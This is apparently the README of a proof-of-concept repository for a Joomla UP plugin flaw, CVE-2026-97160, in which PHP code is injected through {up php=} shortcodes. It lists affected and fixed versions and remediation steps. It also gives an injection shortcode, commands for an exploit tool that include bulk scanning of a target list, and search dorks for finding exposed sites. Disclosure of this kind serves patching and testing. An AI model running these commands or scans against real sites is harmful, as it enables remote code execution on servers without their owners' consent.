CVE-2026-97160 — Joomla UP Plugin PHP Code Injection ({up php=} eval)

Overview

CVE-2026-97160 affects the UP (Universal Plugin) for Joomla (plg_content_up, lomart.fr / up.lomart.fr). Versions 5.0.0–5.2.0 and 6.0.0–6.0.29 allow PHP code injection through {up php=...} shortcodes processed with eval() (CWE-94). The CNA classifies this as authenticated / high privilege; before 6.1.0 / 5.2.1, article authors could bypass reserved-action checks via save vs render name normalization, so PHP embedded in an article could run for every visitor. CVSS 4.0 9.4 Critical. Fix: UP 6.1.0 (Joomla 5.2+) or 5.2.1 (Joomla 3.10–5.1). Assigner: Joomla CNA.

Related advisories in the same release: CVE-2026-97161 (file read / traversal), CVE-2026-97162 (SQLi), CVE-2026-97163 (GitHub mini-install).

| | | |---|---| | Product | UP plugin for Joomla (plg_content_up) | | Path | plugins/content/up/ | | Affected | 5.0.0–5.2.0, 6.0.0–6.0.29 | | Fixed | 5.2.1, 6.1.0 | | Vector | Article/module shortcode {up php=...} |

Open source PoC: https://github.com/murrez/CVE-2026-97160

Lab verification

As admin (or author on vulnerable builds), add to article body:

{up php=echo 'POCBIT-97160-OK';}

Publish, then run --mode exploit --article-url <public URL> to confirm the marker in the rendered page.

Bundled tool (Python 3)

pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10

Asset discovery

body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"

Impact

Server-side code execution on the Joomla host when malicious or compromised author content is published—visitor-triggered RCE on affected builds without additional login.

Remediation

1. Upgrade UP to 6.1.0 or 5.2.1 (or newer) from the vendor.
2. Audit articles and modules for {up php shortcodes.
3. Restrict article authoring privileges until patched.

Legal and ethical use

Do not publish malicious shortcodes on sites you do not own. Test only with authorization.

References

• NVD — CVE-2026-97160
• GitHub PoC — murrez/CVE-2026-97160